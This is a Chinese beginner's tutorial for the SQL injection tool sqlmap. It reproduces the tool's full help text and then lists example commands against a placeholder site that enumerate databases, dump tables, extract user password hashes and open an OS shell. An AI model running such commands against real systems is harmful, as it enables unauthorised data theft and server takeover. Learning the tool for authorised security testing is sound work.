sqlmap 使用测试初级教程(实际已测试 -版本1.0)

原创 2015年11月18日 16:15:15
Usage: python sqlmap.py [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

Target:
    At least one of these options has to be provided to set the target(s)

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target URL (e.g. "www.target.com/vuln.php?id=1")
    -l LOGFILE          Parse targets from Burp or WebScarab proxy logs
    -m BULKFILE         Scan multiple targets enlisted in a given textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST
    --param-del=PDEL    Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie header
    --cookie-del=CDEL   Character used for splitting cookie values
    --load-cookies=L..  File containing cookies in Netscape/wget format
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --host=HOST         HTTP Host header
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
    --auth-cred=ACRED   HTTP authentication credentials (name:password)
    --auth-private=A..  HTTP authentication PEM private key file
    --proxy=PROXY       Use a HTTP proxy to connect to the target URL
    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
    --ignore-proxy      Ignore system default HTTP proxy
    --tor               Use Tor anonymity network
    --tor-port=TORPORT  Set Tor proxy port other than default
    --tor-type=TORTYPE  Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
    --check-tor         Check to see if Tor is used properly
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  Randomly change value for given parameter(s)
    --safe-url=SAFURL   URL address to visit frequently during testing
    --safe-freq=SAFREQ  Test requests between two visits to a given safe URL
    --skip-urlencode    Skip URL encoding of payload data
    --force-ssl         Force usage of SSL/HTTPS
    --hpp               Use HTTP parameter pollution
    --eval=EVALCODE     Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
    These options can be used to optimize the performance of sqlmap

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)

Injection:
    These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --skip=SKIP         Skip testing for given parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS authentication credentials (user:password)
    --os=OS             Force back-end DBMS operating system to this value
    --invalid-bignum    Use big numbers for invalidating values
    --invalid-logical   Use logical operations for invalidating values
    --no-cast           Turn off payload casting mechanism
    --no-escape         Turn off string escaping mechanism
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)
    --string=STRING     String to match when query is evaluated to True
    --not-string=NOT..  String to match when query is evaluated to False
    --regexp=REGEXP     Regexp to match when query is evaluated to True
    --code=CODE         HTTP code to match when query is evaluated to True
    --text-only         Compare pages based only on the textual content
    --titles            Compare pages based only on their titles

Techniques:
    These options can be used to tweak testing of specific SQL injection techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use for bruteforcing number of columns
    --union-from=UFROM  Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  Domain name used for DNS exfiltration attack
    --second-order=S..  Resulting page URL searched for second-order response

Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

Enumeration:
    These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --hostname          Retrieve DBMS server hostname
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --count             Retrieve number of entries for table(s)
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell
    --sql-file=SQLFILE  Execute SQL statements from given file(s)

Brute force:
    These options can be used to run brute force checks

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

User-defined function injection:
    These options can be used to create custom user-defined functions

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

File system access:
    These options can be used to access the back-end database management system underlying file system

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

Operating system access:
    These options can be used to access the back-end database management system underlying operating system

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

Windows registry access:
    These options can be used to access the back-end database management system Windows registry

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

General:
    These options can be used to set some general working parameters

    -s SESSIONFILE      Load session from a stored (.sqlite) file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --batch             Never ask for user input, use the default behaviour
    --charset=CHARSET   Force character encoding used for data retrieval
    --crawl=CRAWLDEPTH  Crawl the website starting from the target URL
    --csv-del=CSVDEL    Delimiting character used in CSV output (default ",")
    --dump-format=DU..  Format of dumped data (CSV (default), HTML or SQLITE)
    --eta               Display for each output the estimated time of arrival
    --flush-session     Flush session files for current target
    --forms             Parse and test forms on target URL
    --fresh-queries     Ignore query results stored in session file
    --hex               Use DBMS hex function(s) for data retrieval
    --output-dir=ODIR   Custom output directory path
    --parse-errors      Parse and display DBMS error messages from responses
    --pivot-column=P..  Pivot column name
    --save              Save options to a configuration INI file
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --test-filter=TE..  Select tests by payloads and/or titles (e.g. ROW)
    --update            Update sqlmap

Miscellaneous:
    -z MNEMONICS        Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       Run shell command(s) when SQL injection is found
    --answers=ANSWERS   Set question answers (e.g. "quit=N,follow=N")
    --beep              Make a beep sound when SQL injection is found
    --check-waf         Heuristically check for WAF/IPS/IDS protection
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
    --dependencies      Check for missing (non-core) sqlmap dependencies
    --disable-coloring  Disable console output coloring
    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
    --identify-waf      Make a through testing for a WAF/IPS/IDS protection
    --mobile            Imitate smartphone through HTTP User-Agent header
    --page-rank         Display page rank (PR) for Google dork results
    --purge-output      Safely remove all content from output directory
    --smart             Conduct through tests only if positive heuristic(s)
    --wizard            Simple wizard interface for beginner users


sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --dbs

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --tables -D "DB"

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --columns -T "TABLE" -D "DB"

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441"  --dump -C "NAME" -T"TABLE" -D "DB"

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441"  --dump-all -T "TABLE" -D "DB"

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441"  

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --current-db  

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --current-user 

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --users  

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --passwords  

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" -D DB -T TABLE -C "ID1,ID2,ID3" --start 1 --stop 10 --dump  

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --is-dba  //isDBA ?

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --privileges //

sqlmap.py -u "http://www.xxx.com/news_0.asp?id=4441" --os-shell  //web shell


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